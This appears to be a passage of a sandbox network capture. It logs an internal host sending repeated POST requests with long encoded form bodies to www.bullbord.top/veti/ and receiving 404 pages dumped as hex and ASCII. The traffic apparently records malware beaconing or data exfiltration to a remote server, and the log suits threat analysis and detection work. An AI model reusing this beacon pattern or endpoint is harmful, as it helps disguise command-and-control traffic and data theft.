Aug 27, 2024 08:04:29.841197014 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:04:29 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 08:04:29.841300964 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000
Aug 27, 2024 08:04:29.841355085 CEST	1289	IN	Data Raw: 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 33 37 34 33 33 39 33 70 78 3b 73 74 72 6f 6b Data Ascii: style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0
Aug 27, 2024 08:04:29.841423035 CEST	1289	IN	Data Raw: 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.34
Aug 27, 2024 08:04:29.841547012 CEST	1289	IN	Data Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
Aug 27, 2024 08:04:29.841722965 CEST	1289	IN	Data Raw: 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 2e 32 39 39 36 34 2c 31 34 2e 35 34 39 38 35 Data Ascii: 9885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44
Aug 27, 2024 08:04:29.841736078 CEST	1289	IN	Data Raw: 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.
Aug 27, 2024 08:04:29.841747046 CEST	1289	IN	Data Raw: 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 39 37 2c 32 2e 31 38 30 33 34 20 33 2e 37 37 Data Ascii: d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.23572 3.652818,
Aug 27, 2024 08:04:29.841758966 CEST	1289	IN	Data Raw: 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: th4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse ry="4.315
Aug 27, 2024 08:04:29.841799974 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 Data Ascii: style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.03816
Aug 27, 2024 08:04:30.006048918 CEST	1289	IN	Data Raw: 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d Data Ascii: sform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.36949 0.20282,0.202

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	49917	203.161.46.205	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:32.373034954 CEST	1154	OUT	POST /veti/ HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.bullbord.top Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.bullbord.top/veti/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 50 52 59 6c 53 78 55 30 42 4a 48 56 36 64 68 2b 59 68 39 78 36 54 30 47 4c 35 34 69 73 33 6c 5a 67 47 66 41 50 31 39 55 4b 65 36 44 45 6e 35 42 2b 38 58 64 6f 67 68 67 37 44 55 78 6d 43 70 52 6a 6e 47 36 4a 52 69 2b 57 6b 31 4f 4d 73 58 4b 6b 41 7a 5a 46 7a 70 4b 76 6a 74 62 71 64 78 73 68 76 76 77 44 67 35 38 42 53 4f 4d 72 54 68 6a 4a 70 33 35 68 5a 4b 63 6b 55 39 77 67 71 6a 33 73 51 65 7a 56 6f 45 38 4c 43 35 4f 43 37 51 68 49 6d 4a 59 77 33 4d 70 35 71 54 46 36 56 66 6b 41 36 6a 41 31 6e 35 32 63 53 76 6d 2b 4c 70 47 2b 43 73 45 44 38 39 73 4d 2b 64 4b 53 2b 4a 75 55 63 6a 31 73 57 70 35 71 6c 41 64 55 45 77 4c 73 67 76 2b 51 75 31 6e 4e 58 67 62 6e 38 63 78 58 78 4e 53 4b 53 6d 75 45 4c 2b 52 33 32 70 5a 4b 56 64 33 70 32 4f 59 6d 72 68 4e 63 55 45 31 69 42 5a 39 71 41 74 2b 4a 53 78 63 32 6b 6d 4c 34 42 6c 6d 71 70 57 38 4f 39 75 66 70 73 65 6d 42 75 71 64 51 66 72 56 4e 6d 71 44 4c 37 35 2b 63 53 32 55 78 4a 56 38 4a 4d 5a 45 30 74 4d 78 37 38 38 70 33 42 4a 52 61 47 [TRUNCATED] Data Ascii: ij60MtY=PRYlSxU0BJHV6dh+Yh9x6T0GL54is3lZgGfAP19UKe6DEn5B+8Xdoghg7DUxmCpRjnG6JRi+Wk1OMsXKkAzZFzpKvjtbqdxshvvwDg58BSOMrThjJp35hZKckU9wgqj3sQezVoE8LC5OC7QhImJYw3Mp5qTF6VfkA6jA1n52cSvm+LpG+CsED89sM+dKS+JuUcj1sWp5qlAdUEwLsgv+Qu1nNXgbn8cxXxNSKSmuEL+R32pZKVd3p2OYmrhNcUE1iBZ9qAt+JSxc2kmL4BlmqpW8O9ufpsemBuqdQfrVNmqDL75+cS2UxJV8JMZE0tMx788p3BJRaG3oUEFYPP4sL5ImB0xgUs0IqTcnE+KNKXWURrzD6/Sa1NHNE+xcmg/nMbp3fIXJgxUn8fWfnMPnFw4N/qTtR5xsYec3x0MFI+3YaW5xDKwwQT8hbFRCr9pJk+vmg8FOF6BmYkhm2vCS7t8FWN9cKq1pLbhiJpKBWNwzaCOWHVx0BWUk1Owts/nUWC4QQvz3i+gP0JwiVtVyO+E=
Aug 27, 2024 08:04:32.544738054 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:04:32 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 08:04:32.544775009 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000
Aug 27, 2024 08:04:32.544940948 CEST	1289	IN	Data Raw: 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 33 37 34 33 33 39 33 70 78 3b 73 74 72 6f 6b Data Ascii: style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0
Aug 27, 2024 08:04:32.544996977 CEST	1289	IN	Data Raw: 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: 157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.34
Aug 27, 2024 08:04:32.545026064 CEST	1289	IN	Data Raw: 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 Data Ascii: none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.2
Aug 27, 2024 08:04:32.545136929 CEST	1289	IN	Data Raw: 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 2e 32 39 39 36 34 2c 31 34 2e 35 34 39 38 35 Data Ascii: 9885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44
Aug 27, 2024 08:04:32.545183897 CEST	1289	IN	Data Raw: 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.
Aug 27, 2024 08:04:32.545212984 CEST	1289	IN	Data Raw: 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 39 37 2c 32 2e 31 38 30 33 34 20 33 2e 37 37 Data Ascii: d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.23572 3.652818,
Aug 27, 2024 08:04:32.545454025 CEST	1289	IN	Data Raw: 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: th4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse ry="4.315
Aug 27, 2024 08:04:32.545488119 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 Data Ascii: style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.03816
Aug 27, 2024 08:04:32.710145950 CEST	1289	IN	Data Raw: 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d Data Ascii: sform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.36949 0.20282,0.202

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	49918	203.161.46.205	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:35.077394009 CEST	2578	OUT	POST /veti/ HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.bullbord.top Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.bullbord.top/veti/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 50 52 59 6c 53 78 55 30 42 4a 48 56 36 64 68 2b 59 68 39 78 36 54 30 47 4c 35 34 69 73 33 6c 5a 67 47 66 41 50 31 39 55 4b 65 79 44 46 52 74 42 2f 66 2f 64 70 67 68 67 6e 54 55 77 6d 43 70 4d 6a 6e 65 41 4a 52 75 75 57 6d 64 4f 50 2f 66 4b 6e 79 4c 5a 41 7a 70 4c 6a 44 74 5a 75 64 78 65 68 76 6a 61 44 67 74 47 42 68 53 4d 71 56 52 6a 4f 65 6a 36 74 70 4b 61 6b 55 39 73 33 36 6a 2f 73 51 61 6a 56 6f 41 38 4c 45 68 4f 54 5a 34 68 4b 31 78 59 6b 33 4d 71 7a 4b 54 4f 76 6c 66 42 41 36 6e 55 31 6e 35 4d 63 54 72 6d 2b 4d 64 47 39 42 55 48 43 63 39 73 53 4f 64 4a 57 2b 31 71 55 63 76 39 73 57 74 35 71 6b 6b 64 56 6b 77 4c 36 54 33 68 48 2b 30 73 4a 58 67 4d 74 63 41 44 58 31 6c 34 4b 51 71 75 44 2f 57 52 78 56 52 5a 5a 6b 64 33 67 32 4f 65 70 4c 68 65 53 30 45 70 69 41 31 58 71 41 4e 49 4a 56 78 63 33 46 47 4c 71 51 6c 6c 73 4a 57 36 53 4e 76 66 74 73 61 51 42 75 37 43 51 66 72 46 4e 69 61 44 4c 4c 70 2b 66 54 32 54 78 5a 56 37 50 4d 5a 72 69 64 41 4e 37 38 67 66 33 42 78 42 61 41 [TRUNCATED] Data Ascii: ij60MtY=PRYlSxU0BJHV6dh+Yh9x6T0GL54is3lZgGfAP19UKeyDFRtB/f/dpghgnTUwmCpMjneAJRuuWmdOP/fKnyLZAzpLjDtZudxehvjaDgtGBhSMqVRjOej6tpKakU9s36j/sQajVoA8LEhOTZ4hK1xYk3MqzKTOvlfBA6nU1n5McTrm+MdG9BUHCc9sSOdJW+1qUcv9sWt5qkkdVkwL6T3hH+0sJXgMtcADX1l4KQquD/WRxVRZZkd3g2OepLheS0EpiA1XqANIJVxc3FGLqQllsJW6SNvftsaQBu7CQfrFNiaDLLp+fT2TxZV7PMZridAN78gf3BxBaAXoVkFYZMgrBJIhJUw5bM0lqTQVE/f4KkSURbjDsPSd/NHJPexWwg/nMbkQfIbJgEwn9vmfifnnVA4X/qT8R59fYd9Wx08/I8bYaHpxELw3Fz8kfFRVldUTk+jug8UxFNZmeXZmyvCNu98eCd8dOqx1LYVTJqWRWOAzekHXSmJWX14S5MQnrceBYVoSG+ngjJAs0p0aCPRGQrOawGOPI+4JDOSIMV/t+aWtVVguj/NbvQwbA1hKQ402hVoXqOSomwU2Twi387zpLSTfz145E7EfnxhjX6OgVElzb/7V5S5ZfOi3UXHbjzyudrxnlv5k3mK5tEAiIBM8kerjqSz8sNUHl0oZSaU93bZIKo83o7jd4qkU/1FdNrOI9qsOkoCJB8sql12aTvcNrlwljNYm+eFxKZCRYIglqVkOIDEzmMYM1xiw88tX3cOKLUySahmRmZ4jXAq/B4u1br0YLo4SSDRfaYiO/MRTxkHBJCmEiWgUegkceDq3SX7PsqHI/TSnXfc/vQ+a/P9F5yTgVL2Iw1Ajo1FIR3KAI60Ej+qqDT+T9rIgZigIY1i5z6f3LD/S6sZwF+PEeLifmOwTMcC2n3ws1velmiVe/OdnG+tPM7lVOR+tnummgJGSMHHu4hkEYRUc7LpMJAdd3yg0eq/xq17FFsHy76ZkF+QC [TRUNCATED]
Aug 27, 2024 08:04:35.077414036 CEST	5156	OUT	Data Raw: 78 34 69 4a 49 6c 59 42 32 76 58 72 77 6c 75 78 73 2f 31 39 4a 71 67 2f 6a 70 5a 39 62 68 51 59 38 6f 35 62 73 68 5a 64 4e 36 30 49 73 49 31 63 77 44 47 74 78 33 59 44 32 70 79 61 31 2f 4d 50 68 34 69 4e 41 6b 52 34 6e 31 6b 4d 6e 39 34 2f 70 4f Data Ascii: x4iJIlYB2vXrwluxs/19Jqg/jpZ9bhQY8o5bshZdN60IsI1cwDGtx3YD2pya1/MPh4iNAkR4n1kMn94/pOA6aItzID371nkImHjO9cSzcscjVUfX098336Zoa+4HRk2/DRVOHuzXKwx9kTE5diTMW3xQF5aO5kM4kT3Nuu+p7x0lJjyrhZw1zkn5AKxW/fWE/2ND7VIQWbcGLcP8WtBH1C5Ea/fJ0/izNmy3X/efqXrKhHKZbUS
Aug 27, 2024 08:04:35.077461004 CEST	5156	OUT	Data Raw: 47 33 41 5a 77 63 56 37 73 78 58 7a 58 63 53 47 34 36 41 51 61 77 66 43 71 57 51 49 47 79 74 31 42 4f 47 41 66 77 59 37 61 74 62 65 52 2b 58 55 4d 61 6b 54 64 6c 65 4d 45 2b 4a 4f 7a 30 59 43 5a 52 56 78 63 38 57 6e 7a 57 4d 4a 67 64 36 51 5a 31 Data Ascii: G3AZwcV7sxXzXcSG46AQawfCqWQIGyt1BOGAfwY7atbeR+XUMakTdleME+JOz0YCZRVxc8WnzWMJgd6QZ1R+N4T8d9LT0bVZ/wTxHy39UzLN0kik0VoPnzlKKJ/ceI2FZbAlfWRAYUunM1cZZE/o/d6T4kXKb8oNriBKJRp32FDbSDoKyogsOPUu/QwgE1ZkcOO17j6fOmdNQ3ozzaaOBmhHi1WjNrXzV/DSSVam0Kd3Vwxl302
Aug 27, 2024 08:04:35.244333982 CEST	2578	OUT	Data Raw: 6c 41 47 54 62 64 57 66 75 58 4e 39 49 66 6f 4a 77 33 70 42 5a 76 33 70 47 5a 2f 4b 72 63 71 6b 34 4c 63 50 71 4f 4f 66 4b 41 65 4d 69 70 78 41 6a 61 51 6e 39 41 6d 38 37 59 77 4a 75 55 6b 79 72 49 64 67 49 49 74 69 72 58 7a 61 55 52 6e 32 54 6d Data Ascii: lAGTbdWfuXN9IfoJw3pBZv3pGZ/Krcqk4LcPqOOfKAeMipxAjaQn9Am87YwJuUkyrIdgIItirXzaURn2Tm+B9PipsWrEiXwMGcllYejCmaU31f+p7jiYD6/lEUnm5ZiCwmzamePnTQPzh+Y6ulXYy698/s0gUm2Duoqa5dnCgGgqms5iwRi5lqdY4jFv1zlekn9vlROodVr4lIE9jLc3s/9HYg+u9MT+Qu0q/IlF0nt5NMpi8iL
